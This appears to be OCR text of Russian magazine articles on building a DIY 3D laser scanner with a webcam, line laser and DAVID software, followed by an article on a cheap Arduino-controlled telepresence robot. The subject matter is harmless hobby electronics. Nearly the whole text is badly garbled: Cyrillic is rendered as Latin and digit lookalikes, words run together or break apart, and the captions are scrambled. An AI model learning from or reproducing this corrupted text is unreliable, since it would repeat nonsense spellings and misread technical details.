py4HON GOKYCUMPOBKM (BO3MOXHOCTH
0TKJ104aTb aBTOGOKYC), MUHUMYM LLYMOB
NPy BbICOKOM pa3peLleHni, KaueCTBEHHAs JIMH3a KaMepbl — JINH3a He
L0JKHA LaBaTh CUIbHbBIX UCKaXeHW. KaMepa fomKHa NoaKio4aThcs

k USB-noptynpaborate HaWDM-gpaiieepax(T.e., nonpocTy rosops,
00/KHa 6bITb BUAHA A4 Bbi6opa B nporpamme DAVID). BonblwmHcTBO Co-
BPEMEHHbIX Beb-KaMep y10BNeTBOPAIOT 3TUM TpeboBaHMAM, HO NPOBEPUTH
nx coBMecTUMocTb ¢ DAVID MOXXeM T0NbKO Mbl C TOBOI, MO3TOMY JOBEPUMCS
pekoMeHaLMsaM co3faTeneil nporpaMMbl BO N3bexaHne BCAKNX HEOXM-
LaHHOCTell. 3 feweBbix kKaMep caM pa3paboTynk pekoMeHayeT Logitech
WebCam Pro 9000 with cam holder, KoTopyto MOXXHO KynuTb A,0NNapoB 3a
€T0. 7l Xe ycneLwHo BbINONHAN CKaHnpoBaHus Moeit Logitech C270 cToumo-
CTbto 0k010 35 foNNapos.
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JIABEPHbIMMOYJ1b
[nspaboTbl ckaHepa HeE0HX0AUM KOM-
NOHEHT, KOTopbIN byAeT faBaTb IMHMIO.
VIMeHHO NMHWMI0, @ He TouKy. ITo BaxHo! Ha
dopymaxsanpoyen, 4TonooneT obblyHas
KuUTalcKas nasepHasykaska, Ho aTo He
Tak. Kak 6b1 6bICTPO Thl HVU BOAW PYKOK,
BOOPY>EHHOI Sla3epHO YKa3Kow, 3T0
BCE HeT0. YyTb no3)e 5 06BbACHI0 NoyeMmy.
Cellyac BaXKHO OIHOr0— HY>KEH CKaHep,
KOTOpbIV LaeT AMHMI0. KpacHbIN, 3eNeHbli,
CUHU—LBET CKaHepa HeBaXkeH. BoobLe MoxHo 0boiiTnck v bes ckaHepa,
BOCMO/Ib30BABLUNCh aNIbTEPHATUBHBIMU pelueHnsMu (YuTaii Bo Bpeske). Ho
Na3epHbI MOAY/Ib— 3TO COBEPLIEHHO TOYHO CaMblii TPOCTON U LOCTYMHbIN
BapuaHT. Anpnobpen MoaynbkpacHoronasepa 650 HM c dokycrpoBkoi
JIMHUN MOLLHOCTbI0 5 MBT, oH cTonn 25 fonnapos. Takon MOXHO KyNuUTb rae
YrofiHO, HanpUMep B X035MCTBEHHOM MarasuHe Un Yepe3 NHeT, Kak 3To
choenans(kaxercs, Bwww.greenlaser.com.ua). Mogynu 6onbLieit Mou-
HocTu (5o 20 MBT) He pekoMeHAyIo NprobpeTaTh, Tak Kak UX UCMOJb30BaHWe
LienecoobpasHo B oYeHb pefKuX ciyyasx. EcTb roToBble MOAYNN CaBTOHOM-
HbIM MUTaHNeM—eC/n Halifelb, TO KYNu Ayylle Takoi. MHe e ans cBoero
N1a3epPHOro MOAYNS NPULLOCH CO3/,aTb HebOoMbLLYI0 OCHACTKY, 4T0BbI bbIN0
yA0BHO filepXkaTh B pyKe, BKIYaTb/BbIKA04aTh. 3anuTan s ero o6blyHom
KPOHOW 9 B: KpacHbIN NPoBOS, «+», YePHbIN «-»: ecan HaobopoT, To byneT
rpeTbCsi W, KaK pe3ysibTaT, BbIAET U3 CTPOS paHblle BpeMeH .

P H KAJIMBPOBOYHbIA YT OJ1.

' . II b OpveHTMpPOBaTbLCSH BNPOCTPaHCTBE,
¥ |" & nosly4yasi BO3MOXHOCTb CHUTLIBATD
A n . . napameTpbl n3o0bpaxeHuns, no3sonseT

0 - nporpamMme cneuuanbHas nprucnoco-
6a—kannbpoBoyHbiyron. He boiics,
3TO CaMblii ieLeBbIi KOMMOHEHT,
npeacTasnsioWwmnii coboit aBa nucTa co
crneunanbHo HaHeCEHHbIMU MapKepa-
MU, KOTOPbIE HYXKHO PacnonoXuTb noj
yrnom 90°. MocneycraHosku DAVID aTbi
Hanpews dpannbl B opmate PDF unn CDR B kopHeBoM KaTanore, Hanpu-
mep «Calibpoints_Scale30_DIN_A4.pdf». Vinv caHanoruyHsiM uMeHeM,
HoB dopmaTe CDR gnsineyatuus CorelDraw. Beibepu toT dhaiin, HasaHwue
KOTOpOro cooTBeTCTBYeT dopmMaTy bymaru, Ha KOTOpol Thl cobupaellbes
neyaTaTb. BoobLie COBETYO MCXOANTL OT pa3Mepa CKaHMPyeMoro obbek-
Ta.HecTonTpenats 6onblwonyron, ecnmTel cobupaellbcs CKaHMpoBaThb
ManeHbkne 06beKkTbl. [l HaYana BnoaHe NoJonAyTKannbpoBoyHble
nucTbl dopmaTaAs. CnoxHee 3aKpennTb X NOL NpaBUSibHbIM yriaoM. CBow
nepBbli yron s cfenan Tak—rmnpocTo CorHyn benbii roppokapToH, 3akpe-
MW eroHa 0CHOBE, NOC/IE Yero NPUKPENUI CTbIK B CTbIK KannbpoBoyHble
nncTbl. Jlyylie nx He KNeuTb, Tak Kak IMCTbI CTaHY T BOJHUCTBIMU — 3TO
HefonycTMMO. BMECTO3TOro MOXHO aKKypaTHO MPUKPENUTBL MX MO KPasM
ckoT4YeM. [lofxKeH CKa3aTb, YTO MOCJIE MEPBbIX Ke CKAHOB CTafNo MOHATHO,
YTOYrofl He aeanbHbli. [103TOMY NpULWNOCH BCE Nepefenath: § COeAnHNUN
nsakycka [ClN, ckpenus uxyronkamu. Monyunnock xopowo: yron 90°,
NOBEPXHOCTb UeasibHO POBHAS — BCEr0 3TOro Hesb3s b0 6bl 40OMTLCS
croppokapToHoM. CIOBOM, TYTECTb MHOXECTBO BapUaHTOB.

HU B KOEM CJTYYAE HE HAMPABNAW 1YY NPAMO B T1A3A.
3TOOYEHb ONACHO, TAKKAKSAPKOCTb JIYYAHACTOJIbKO
BEJIUKA, YTO BAXKE KPATKOBPEMEHHOE NONAAAHUE B
FNA3 MOXET BbIDXXEYb CETYHATKY MNA3A.MNONAAAHUE HA
KOXXY HEOMNACHO. BOOBLLEPEKOMEHAYIO MPUOBPECTU
CNEUUANBHBIE OYKU ANA PABOTbI CJIASEPOM, HO3TO YXKE
noTOM, AHANEPBbIXMOPAXMO0XXHO UBE3 HUX.
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PCZONE

KakaTo
npoucxoauTt?

TenepbcamMoe NHTepecHOe — NPUCTYNaeM K CaMOMy NpoLeccy cka-
HupoBaHns. OrNAHNCL BOKPYr: B KOMHaTe HaBepHsAKa HallyTca Kakme-
HWBYAb CYBEHUPbI MW CTATYy3ITKU — NS 3KCNEPUMEHTOB NoAoaeT
Nt0601 HeboNbLWON 06bEKT. YTO TOYHO HE FOAUTCS, TaK 3TO MPO3PaYHble
MU MoNynpo3payHble npeaMeThl. Jlyy naszepa fomkeH oTpaxaTbes, a He
nornowatbcs npegmetamu. Cosgatenu DAVID a pekoMeHAYI0T B TaKuX
Cnyyasx noKpbiBaTb MpeAMeTh TaJlbKOM USU, €CIN HE XKaJlKo, a3po-
30/1IbHON KPacKol. A He yTpyxaan cebs v B3N HECKONbKO CTaTy3TOK.
YCNoBHO B NpoLecce CKAaHMPOBAHMA MOXHO BblAeINTb YeTbipe 3Tana,
pacckaxy o kaxxaoM noapobHee.

13TAN
KanubpoBka

JTonpenBapuTesbHbIM 3Tamn, N03TOMy 06BEKT A1 CKAHMPOBaHUS NoKa
OT/I0XKWM B CTOPOHY. 3aKpenu Beb-Kamepy HanpoT1B KannbpoBoyHoroyrna
Tak1M 06pa3oM, YToObI BCE KOMMOHEHTbI BbIIM HEMOABMKHbLI OTHOCH -
TeNbHO Apyr apyra. Kamepy CTOUT pacnofioXuTh Ha YPOBHE HXKHEro Kpas
KanMbpoBOYHbLIX TUCTOB. Bo BpeMs kanubposku KaMmepbl U306paxeHue
LLOMKHO BbITb APKUM. A BBINOHAN CKAHUPOBAHWE BEYEPOM UM HEM, HO
C3aTeHEHHbIM OKHOM, @ KaNMbPOBOYHbIN Yrof 0CBELLaN MCKYCCTBEHHbIM
cseToM. Cama kanubposka ocywecTtensetca B DAVID-laserscanner.
BribrpaeM n3 cnuckaycTpoiicTs Hally Be6-kaMepy, HacTpauBaeM U3o-
BpaxeHue: NoBbILAEM APKOCTb, KOHTPACT. B peynbraTe Ha 3kpaHe BULHbI
TONIbKO YepHble Mapkepbl. XMeM KHomKy «Kannbposats kamepy». Eciu
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HacTpauBaeM ckaHep
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CkaHupoBaHue: cocseToM U be3

BCE CAle1aH0 NpaBMIIbHO, MPorpaMMa no3apasuTTebs, 4To kKannbposka
npolunaycnewHo. BnpotuBHoM criyyae MoxHo nonpoboBaTb U3MEHNUTL
nosioxeHne Beb-KaMepbl, MOUrPaTbCs CAPKOCTHIO U KOHTPACTOM. Y MeHs
NoSyYnNoCh He CMepBoro pasa, Ho MOTOM PaflocTu bblio Kak noce Nnepsoit
claHHom ceccum!

2 3TATI
Pa3sMelneHue obbeKTa

[lng ckaHMpoBaHWs HeobX0ANMO PacnonoXnTb 06 beKT BYrny Kannbposoy-
Horoyrna. [lnsnydwero pe3ynbrata OH JO/KeH bbITb NpUbAN3UTENBHO MO~
cepefimHe KannbpoBoYHbIX TMCTOB. Ecnv ero pasmepbl HebosbLne, MOXHO
MCMoNb30BaTh MOACTABKY: KOPOOKY, KHUATY, AiepeBsiHHbIN bpycok nog-
XofsiLLero pasmMepa. Ykaxu nporpaMme Tun ucnonb3yeMoro nasepa. lanee
Tywunm ceeT! Ha akpaHe fJOMKHO bbITb TeMHO. ECIM He Tak —MOHMKaeM
3HayeHMa apkocTu. He nyraiics, ecam MapkepoB He BULHO: MporpaMma
3aMOMHWA MX PaCMOsIOXKeHWe, N Tenepb OHU HaM He CTOJIb BaXHbI. Bkitoun
na3ep v Hanpasb eroHayroyyTh Bbllle Hallero npeaMeta. HaakpaHe
L0JDKHA NOSABUTLCA oMaHan benas nuHus (nporpaMmma aHanusupyet
yepHo-benoe nsobpaxeHue). PaccTosHne Mex gy KaMepoi 1 NN0CKOCTbIO
nasepa (T. e. TPUAHTYNALMOHHbBIA Yro) AOSKHO BbITb HACTONLKO BONBLIMM,
HACKOJ1bKO 3TO BO3MOXHO, — 3T0 HY)XXHO A9 6osblled TOYHOCTH. MiHade Thl
yBUAMLb NpeAynpexaeHne: «YronepeceyeHns CANLLKOM Man». B Havane
CTaTbW 1 OTFOBOPUTEHS OT UCMONb30BAHNA TOHEYHON 1a3ePHON yKa3KK,

1 BOTNoyeMy. [laxke BbICTPO BOAA TOUEYHOW YKA3KOM, Thl HE TONIbKO HE MO~
NYYMLLb POBHYI0 JINHMIO, HO M MPOTPaMMa He CMOXeT MOCYUTaTb BEJINUMHY
TPUaHryNAaLUMOHHOT0yrNa.

33TAI
CkaHupoBaHue

lMpouecc ckaHMpoBaHMs HAUMHAETCS MOCIe HaXaTus KHonku «CtapT». He-
06X0A1MO NPOBECTM MO 06BEKTY Y4OM BHWU3-BBEPX HECKOJIbKO pa3, YTobbl
nporpaMma yepesBeb-kaMepy cunTananapameTpbl obbekTa. TyTecTb
BaXKHbl MOMEHT: Hy)XKHO NOBOPa4MBaTb KUCTb Cla3epoM, a He onyckaTb
pyky! CKopocTb He BaXKHa, HO He cTapaiics enaTb 3To 04eHb bbicTpo. Mpu
CKaHMPOBaHMM 5 Yallle CMOTPES He Ha 06BbeKT, a Ha IKpaH, rsAs, Kak npo-
rpamMmaaHanusupyet GopMy npegMeTa, BbIpUCOBbIBAs HA SKPaHe LiBeTHbIe
nvHuK. CMoTpeTb Ha 3KpaH yaobHee no BYM NpuynHaM. Bo-nepBsbix, ecnu
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TpoMeXyTOouHbIN pe3yNbTaT CKaHMPOBaHUS

NUHUA NasepaHe byaeTBUAHA C0bEUX CTOPOH NpeaMeTa Ui HeocTaTou -
HbIM ByAeT TPUaHTyNALMOHHbIN Yros, NporpamMMa cpasy BhlfacT coobuieHne
[MTbl cMOXeLWb 3TO ucnpaBuTs). Bo-BTOpbIX, CMOTPETH Ha 1a3ep yToMu-
TesbHO A5 T1a3 U3-3a BbICOKOT0 KOHTPAcTa MeX Ay YepHbIM GOHOM 1
SApKUM Iy4oM. Mpoias no npeAMeTy y4OM BHU3-BBEPX CTONIbKO, CKOJIbKO
notpebyetcs, XMeM KHOMKy «[lay3a». Tenepb MOXHO COXpPaHUTb pe3ybTaT
CKaHWPOBaHWS B OTAENbHbIV haiin c noMoLbio KHomku «CoxpannTb». EcTb
Lpyroi BapuaHT—cpasy nepeAaTb M3o0bpaxeHue ANng nocnesyLiero
CLUMBAHUA C APYrMMU CKaHAMK, HaXaB KHomKy «[MepeHecTu». [pn HaxaTum
«[MepeHecTu» ckaH nepefaetcs Ha cnefytowwnii atan (ckneiiky) 6es co-
XpaHeHWs B Gaiin, Ho TeKyLLMIA 3Tan Mbl HE NOKWAAEeM U MOXKEM MOBTOPUTL
CKaHWpOBaHWe, U3MEHNB NOJIOXeHWe 06beKTa (He 3abynb nepes HOBbLIM
CKaHWPOBaHMEM HaXaTb Ha KHOMKY «CTepeTb»). TyTBaXHO NOHWMATb: AN
COo3/aHua Mo e HeobX0ANMO CAeNaTh HECKOIbKO CKaHOB. [Lna npocThix
npeamMeToBTebe byAeT 4OCTaTOYHO MOBOPAYMBATL 06BEKT, HanpuMep, Ha
45°. EcnvnoBepxHoCTb NpefMeTa CloXxHas, To noTpebyeTcs ckaHWpoBaTh
€ro C Pa3HbIX CTOPOH U INLWbL NOTOM CLUMBATb CKaHbl. ELLie 0f4UH BaXKHbIN
MOMEHT: CKaHbl 06513aTeNbHO [OMKHbI NEPeKpbIBaTh APYr ApYra, YTobbl
nporpamme 66110 Nerye aHanU3nMpoBaTh UX.

4-N3TAN
CwmBaHue popM

[ocnepHui warnepefnonyyeHnemM MofeNin—3To CKieiika ckaHos. Ecan
Thl HE COXPaHS/ CKaHbl, @ NnepeiaBan UX Ha CKNENKY C MOMOLL b0 COOTBET-
CTBYIOLLEN KHOMKM, TO MOXKELLb NPUCTYNAaThb K CLUMBaHUIO cpasy. B npoTtus-
HOM Clydae MeM KHomMKy «[lobaBuTb» 1 3arpyxaeM paHee COXpaHeHHble
dannbl. [pouecc cCLUMBaHUS MOXHO pa3fenTb Ha iBa aTana: CTbIKOBKa
CKaHoB M cobCTBEHHO ClUMBaHUe. Bbibupas nonapHo ckaHbl, Tbl yKa3blBa-
elbnporpaMme Ha MeTop cTbikoBkU. DAVID cnpaBnsieTcs ¢ 3TUM 04eHb
[LaXKe 3aMeyaTesIbHO NPU YCI0BUM, 4TO ECTb YEMY CTbIKOBATbCH — CKaHbl
LLOMKHbI NepekpblBaTh A4pyr apyra. EcnmnockyTel He nepekpbiBatoTcs, Tebe

ECJINHET JTA3EPA

15 3D-ckaHnpoBaHus 06bekTa MOXKHO 060 TUCH M Bes nasepa (s He wyuyy).

n [MofoAeT NPoeKTC MOLLHOV 1aMMOW, CBETKOTOPOW HY)XXHO HanpaBnUTb

CKBO3bY3KYI0 LL|eJIb Ha CKaHWpyeMbli 06beKT. Monyynmyskyto benyto nu-
HUI —yeM He benbii nasep? Mpasaa, noMUMO NpoekTopa (KOTopbIN He AELIEeB caM
no cebe) HyxHa ellle M cepbe3Has 0CHACTKa A8 Y4epXKaHUsA IPOeKTopa B HYXKHOM

NosIoXKeHNN. 3ITo reMoppoiHo. MOXXHO MOWTK 0T 06paTHOro — HanpaBUTb APKUIA

CBET, amno 0bbeKTy NPOBECTU TEHbIO 0T HATAHYTON HUTU: TAKOE TOXKE MPeAYCMOTPEHO
pa3paboTuynkamMu nporpaMmsl. B aToM ciyyae nporpaMma MoXeT MHBEPTUPOBaTb
obpabaTbiBaeMyto KapTUHKY. OAHAKO 4TO-TO MHE MOACKa3biBao, YTO 3TO He facT

XopolleropesynbraTa.
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CamopenbHblii 3D-cKkaHep N03BONAET NONYYUTH HENOXOM pe3ynbTaT

NPWUAETCS BEPHYTHCA Ha NPeblAYLLMIA 3Tan v 0CYLLECTBUTL CKaHWPOBaHMe
M3 Tex NonoXeHUn 06beKTa, KoTopble AaflyTTakoe nepekpbiTue. Boinonxus
CTbIKOBKY 1151 BCEX CKAHOB, )KMeM Ha KHonKy «ClunTb». B3aBucumocTyn
0T BbIOPaHHBIX HACTPOEK Yepe3 HECKOMbKO CeKYH Mbl YyBUAUM pe3ynbTaTt
CLUWBaHWS BCEX CKAHOB B eJUHYI0 MofeNb. MXMeM KHomMKY «CoxpaHnTb».
Tenepb M0XKHO 3arpy3unTb Haly Mofenb B ZBrushunv Mudbox ugosectnee
Lo coBeplueHcTBa. MogenbroTosal

B nporpamme TriAngles bnaropaps BpaliyeHuio npeaMeTa popMmuposa-
HWe oLMdpPOBaHHON NOBEPXHOCTM MPOUCXOAMNII0 Dbl aBTOMATUYECKM, ITO ee
npeumywecTso nepes DAVID oM. Ho kak 66l oHa ciipaBuniach ¢ GopMupo-
BaHWEM MOBEPXHOCTH B «MepTBbIX» 30Hax? [lyMato, Hukak. JInbo B aTnx Me-
CTaX Mbl Obl NOAYYNN NOTPELIHOCTb. Mbl Xe X0TeNN NOAYYNTb MOJENb Kak
MOXHO bonee TouHyto. [T03TOMY LOMNONHWUTENbHbIE LeACTBUSA MO CLUMBAHWMIO
cKkaHoB OyeM cYnTaTb HEOOXOAUMBIMY N3LEPXKKAMM.

[Nlopa6aTbiBaeMroToByto Moens B 3D-peaakTope

BMECTO 3AKJTHOYEHNA

CobpaTb 3D-ckaHep, KoTopbli byfeT BbIfaBaTh 6onee 4eM NPUNNYHbIA
pesyabTaT, BNoJiHe BO3MOXHO joMa. Hafelocb, Tbl B 3TOM CMOXellb ybe-
anTbes. K coxanennio, AN CKaHUpOBaHUs MafieHbKnx 06bekTos (a MHe
HYXHO 6b110 CO34aTb 06bEKThI ANS OBENUPHBIX U3AENNI) HY)XKHA 04eHb
xopowas USB-kamepa c CCD-MaTpuueit, KoTopoiiy MeHs HeT (oHa gocTa-
TOYHO Joporas), M03TOMY MO OMbITTak M 0CTANCS ONbITOM: TPUMEHUTD
eroHa/jene Ans CKaHNPOBaHNA OBEINPHbIX U3AeNnii He nonyyYnnocs. Ho
fincnelTan He3abbiBaeMoe y0BObCTBUE, MOJYYasi MOSHOLEHHbIe MOJe-
SN CaMblX Pa3HblX 00 EKTOB C NMOMOLLbIO CKaHepa, KoTopbli 6bin cobpaH
bykBanbHo Ha KosleHke. 3C
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B1aeo4aT Ha
KOJ1IeCUMKaX

AEJIAEM BIOAXETHOIO
POBOTA TEJIENMPUCYTCTBUA

3A30040JINAPOB

Botbl TenenpucytcTBra — Skype-doHbl Ha Konecu-
KaX —M03BOJIAIOT HAXOAUTHCS B IBYX MeCTax 04HO-
BPEMEHHO, YeM MOTYT HEMJI0XO CIKOHOMUTb BPEMSI.
lMpaBaa, cepuitHble Mogenu ctoaT o1 5000 fonnapos,
TaK YTO AOCTYMHOCTbY HUX OrpaHnyeHa. Ho oTyam-
BaTbCS HE CTOUT, BeLib He fopoxe Yyem 3a 300 nonna-
POB Tbl MOXeLLb CAeNaTb Takoro poboTta cam!

KnaccHonopoi rae-HnbyabTenenpucytcTeoBaTe. Hanpumep, cupeTb gomMa B
XanaTe c 4alleykoil apoMaTHOro kode, a B lyLLIHOM NeperoBopke NojHaf0eB-
werooducabyneTLlypLiaTb MOTOPaMI pob0OTTeNIeNpuCyTCTBIS U Nepeaa-
BaTb KoJINeraM KapTuHkKy TBoeroynbibatowerocs anua. OTHeobxoanmocTu
CNeANTb 3a MPOUCXOASLLMM M BOBPEMSI BCTABJIATb CBOM MAEU OH, KOHEYHO, He
cnaceTt, HokoMbopTa AobaBuTb MoxeT. ELLie Takoi poboTnoMoxeT06LaThes
cntobrMoii, HaxoasiLLencsa B 4PYroM ropoje, a v NpurisaeTb3a Hew, ecim
4T0.4YTOObBI TaKO pobOTY TEOS NOABUACS, HYXKHO, BO-NEPBbIX, €70 cObpaTh:
waccu, ynpaseHue asuratensmu, Hetbyk (Mo3r, kamepa v akpaH), a Bo-
BTOPbIX, HY)XHO 3aMporpaMMnNpPoBaTh KIMEHTCKYI0 1 cepBepHYio YacTb. Ho
TenepboboBceMnofpobHo.

PoboTa HyXHo jenaTb [OCTaTOYHO KPYMHbBIM 1 BbICOKMM, 4TO6bI OH bbINyCTON-
YMBbIM, @ 3KpaH YTobbI BbI He CUBHO HUXKE YpoBHS rna3. HecTu Ha bopTy
HalleMy poboTy npuaeTCs yBECUCTbIN CBUHLOBO-KUCIOTHbIA aKKYMYNaTop
(onTuManbHbI BLIGOP 12B, 7 Ay, 600 py6.) M HeTbYK, nosToMy nnaTdopma
[0JKHa BblAepXuMBaTh Harpy3sky B 1015 kr (Toraa MoxHo bygeT v napy 6aHo-
YeK CMPOoXJIafHbIM MEHALMMCS KBACOM W3 XONIOANIIbHUKA HA HEM BO3UTB).

TenepbonpefenuMcs c konnyecTsoM konec. BcoBpemeHHoM Tese-
pobOTOCTPOEHUN MOAHO UCTOIb30BATH ABYXKOIECHbIE TENIEXKKW B CTUE
Segway. CaenaTb TaKyio LUTYKOBWHY B LOMALLHUX YC0BUSIX B LLEIOM peasnbHo,
HO OBOJIbHO MYTOPHO B C/1y4ae Co3aaHus KpynHbix poboTos. [osToMy s
npefnarat orpaHU4YMTLCS bonee NpocTbiM BapuaHTOM—06aBUTb TpeTbe
onopHoe Kofeco. BkayecTse TpeTberokonecanofoiaet Hegoporoe (35
pybneii) Bpaiatouieecs konecuko ansMebenu. [lnsocoboi ycTonumnsocty
LOMONHUTENbHbBIX KOJIEC MOXKHO B3A1Tb 1 iBa.

038

B kayecTBe BefyL X KoNeC KPYyTO MCMONb30BaTb KOeca [15 Caf0BbIX
Tayek MM AN Tenexek u3 cynepmapkeTa. B Hux 4acto BcTpeyatotcs
BCTPOEHHbIe MOALINMHMKM, KOTOpPble yNpoLLaloT 3afady co3aHns Beay-
e yacTn. Bcé B HUX xopoLwo, Tonbko nnatntb no 500-700 pybneit3a ogHo
Konieco coBceM HeoxoTa. EcTb BapnaHT bonee btofKeTHbIA — UCMoSb-
30BaTh HoKOBbIE KOMECUKM 151 LETCKNUX BENIOCUMEA0B. Y HAX U iuaMeTp
BMOJIHE A0CTATOYHbIA— 13 CM, M WNPWHbI B 2,5 CM XBaTaeT A5 HAfeXHOro
cuenneHns cnonom (Aaxe no KoBpy e3AnT He Npockanb3bias). CToaTaTy
koneca 130 pybneii 3a napy.

Tenepb o Bbibope MoTOpoB. PobOT He XMbIA, U BCAKNMM NAACTUKOBbIMU
XJIMMNKAMU MOTOP-PeAYKTOPaMM U3 KUTAWCKNX UTPYLLIEYHbBIX MALLMHOK 3[eCh
He oTRenaTbest. [lonynspHbIi BapuaHT 4/1s Takux poboToB—MCMnoNb30BaTh
Ba30BCKWe MOTOPbI A5 CTEKJIOMOLBEMHUKOB UM CTEKII00YUCTUTENEN.
CaMblIii 60MbLLOV X HEL,OCTAaTOK BTOM, 4TO OHW 060pyA0BaHbl YePBAYHbLIMU
MOTOP-pefyKTopaMmu, KoTopble He UMetoT 0BpaTHO CBA3N (T. e. He NoNyunTCS,
NoKpYyTWB KoJleco, nepeaaTh BpallieHe Ha MOTop; Kosieco BoobLe camono
cebe nokpyTUTL He nosyuuTcs). Mpy pe3KUX TOPMOXKEHHSIX, KOrAa MHEpL
BKoJlece eLLe MHOr0, a MOTOp Y>Ke OTKJII04€EH, BCS SHEPrUs NoiaeT Ha no-
JIOMKY LUECTepPeHOK, M 0NIro OHW He NpoxuByT. [pobnemano 6osblieit yacTu
peluaeMasi—Hy>HO MPOCTO NJIAaBHO BKJII0YATh M BbIKJI04aTb MOTOP, HO €CTb
333Tnxe AeHbrin (600700 pybneiiza MoTop) M ApYyroe, He MeHee aneranT-
Hoe peLLeHue: leleBble KUTaiickne 12-BonbToBbIE LUYPYNOBEPTLI. Y HUX
pefyKTop nnaHeTapHbIi, MMofobHOro HefocTaTKay Hero HeT. [lo ngeana um
TOXe [1aNeKoBaTo: A0Iblle AeCATU MUHYTHenpepbIBHO U Ha NOJTHOM CKOPOCTH
KPYTWUTbCS 3TV MOTOPbI HE CMOTyT— MeperperoTcs, HO Ha MPaKTHKe 3TO U He
HY>XHO, TOJIbKO €CJI He MocbinaThb poboTa B fanekuit MarasuH. MolHocTv ke
11 060POTOBY HUX CFONI0BOK, TaK 4TO MCMONIb30BATLCA OHM ByAyT B LaAALEeM
pexxume. [ntoc LypynoBepThl NPOAAIOTCSA CNaTPOHOM, B KOTOPbI MOXHO Cpa-
3y 3aKpenunTb KONeco npunoMoLL 601Ta, 4eM CUNIbHO YNPOCTUTL BEAYLLYIO
yacTb.

MoTopbl c Konecamu elLie He06X0AMMO Ha YeM-To yKpenasTs. MoXHO co-
6paTb KopobKy /15 aKKyMyNSTOPOB, 3NEKTPOHWUKM U TPy3a 13 aIlOMUHNEBOTO

serial Arduino

CxeMa ABUXEHUS YNpaBASOLWUX AAHHBIX
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npodunaunupepesa. Honyyle noceTuTb 3aiHNIN ABOP bAVXKalLLEro cynep-
MapkeTannoaobpaTbTaM MIOTHbIN NAACTMACCOBBIA LUK M3-M0A GPYKTOB.
Mpn oMol caMope30B MOXKHOYCTaHOBUTb Ha HEM HETOJICThIE lepeBAHHbIe
BpycoUKM, KKOTOPbLIMYKPENnUTb MOTOPbI M BCMIOMOraTe IbHble Kosleca.

MoTopbl 40151 LYpynoBepTOB UMeT cneynduyeckyto opmy, nycrta-
HaBAMBaTb X 6e3 pofHOro KopnycaHe npocTo. PelleHune e A0BOSIbHO
TpUBManbHO —fopaboTaTb KOPMYC LWypynoBepTa HOXOBKOM 1 HAMUIIbHU-
KOM M yCTaHaBANBaTb MOTOP B HEM. BCo BHYTPEHHI0I0 31eKTPOHNKY HaM
NPWAETCS BbIKWHYTh, 0CTaBMB ILLIL MOTOP C ABYMS MPOBOJaMM, KOTOpble
HY>XHO BbIBECTU HapyXy U3 Kopnyca. Ecnv B TBOMX WypynoBepTax HeT
KepaMmuyecknx koHaeHcaTopos Ha 100 HO Mexy KoHTaKTaMu MoToOpa, TO
PeKOMEH/YI0 UX TyAa NpuUnasTh: CNaceT 0T NOMeX Ha JIorKe U ee caMonpo-
13BOsbHOTO cbpoca. MoxHO NpunasiThb Ba TaKMX KOHAEHCATOPa — MeXay
KOHTaKTaMy MOTOpa W €ro KOPMyCcOoM, HO 15 9TOro MoTpebyeTcs MOLLHbIi
NasNbHUK M akKypaTHOCTb, 4TOObI, C OLHON CTOPOHBI, MPOrPeThb CTEHKN MO-
Topa,acApyron, He NoOBPeAUTL NAACcTUKOBbIE YacTh. BipoueM, dpunbTpsl
MOXHO [106aBWTb M Ha CUNOBYIO NNaTY.

COBNPAEM 3ALLUNTHUKA BCEJIEHHOW

KpoMe silinka c MoTopaMu HYXXEH elle Kpenkuit bpycok, Ha koTopoM byaeT
YKPenseH cTonuk Ans HoyToyka. OnTuManbHas ANnHa Takas, 4Tobbl
obuasn BbicoTa nonyyunack npumepHo 110 cM, —Toraa Ha HoyTbyke bypeT
yA06HO M HabUpaTb M NOAYYUTCA He NPoCTo poboTTenenpucyTCTBUS, a
noJIHoLLeHHOe paboyee MeCTo, KOTOpPOe B COCTOSIHIM ClefjoBaTb 3aToboi
nosciofly. CToNMK AN HOYyTOYKa MOXHO CieNaTh U3 Kycka oprcTekna
[pasMepoM npuMepHo c IMCTOK A4), a3aKpennTb Ha CTaNbHble Yronku Npu
MOMOLLM BONTOB MM BbITSKHBIX 3aKJenok. Bcé, 4To He 3akpenieHo camo-
pesamu: MOTOPbI, MNaTkl, NPOBOAA, akKyMynaTop, —yAobHo 3akpennTb
NPV NOMOLLM HeNNOHOBbIX CTsek. Cnocob Hefoporoi M NpefenbHO cep-
AnTbIA. KoHeYHO, MOTOPbI C KONlecaMu N3-3a Takoro KpenaeHus npuaeTcs
4acTo OTNPAaBASATL Ha Pa3Ba-CXOXAeEHUeE.

BHOCM MO3I'A

Tenepb HYXKHO CO3AaTb 3/IEKTPOHHYIO M MporpaMMHyio yacTu. B obyem, cxema
TakoBa: Ha yfjaleHHOM KJIMeHTe, KoTopbli coefinHsieTcs c MupoM Yepe3 WiFi-
nnun 3G-MofeM, 3anyLieHa nporpamMma, KoTopas YNTaeT HaaTUs CTpenioyek
Haknasumartype v npu nomol XMPP (Hanpumep GTalk 'a) nepepaet co-
06LLEeHMS CYNpaBASIOLLMMUY KOMAHLAMM Ha CEPBEP, KOTOPbIM ABASETCS HaLLl
poboT. TaM eLLe 0fAMH yNPaBASIOLLMIA CKPUNT OTNABANBAET 3TN COOBLLEHMSA 1
3anwvcbiBaeTux B BUpTYanbHbii COM-nopT, koTopbii co3gan Arduino. Janbie
apAyVHO OTNpaBAseT CUrHasbl Ha CUITOBYIO N1ATY, KOTopasi Henocpes-
CTBEHHO ynpaBssieTMoTopaMu. IMeHHo ee ceiiyac v paccMoTpuM. MoTop oT
LwypynosepTaBMoMeHT cTapTanotpebnsetbonblie 10A, aBoBpeMs paboThl
MUHUMYM 2 ANOCTOSIHHO. YNPaBAsTb Takoi MOLLHOW LUTYKOW yA06H0 1nbo ¢
NoMoLLbIo pefie (HO 18 HUX CAMUX NPUAETCS FOPOANTH CXEMY BKITIOYEHUS),
nubo noneBbIMUTpaH3ncTopamu. [1ns Hayana pasbepeM camblii NpocTon
BapuaHT (cxeMa 1), KoTOpbIN MO3BONNT HE3ABMCUMO KPYTUTLCS KoJlecaM,
NpUYeM C pa3Hoii CKopocTbio. ELLle NC— A5 3TON CXeMbl HY)XKHO COBCEM
HEMHOro fieTanem, u cobpaTb ee MOXXHO Ha MaKeTHOM nnaTe (ToNIbKO He npo-
Byii cobupats ee Ha becrnaeyHol MakeTKe — OHa He BbILEPXKUTTak X TOKOB).
[naBHbIN HEJOCTATOK TAKON CXEMbI — KPYTUTLCS KOJ1eCa CMOTryTTOJbKO B
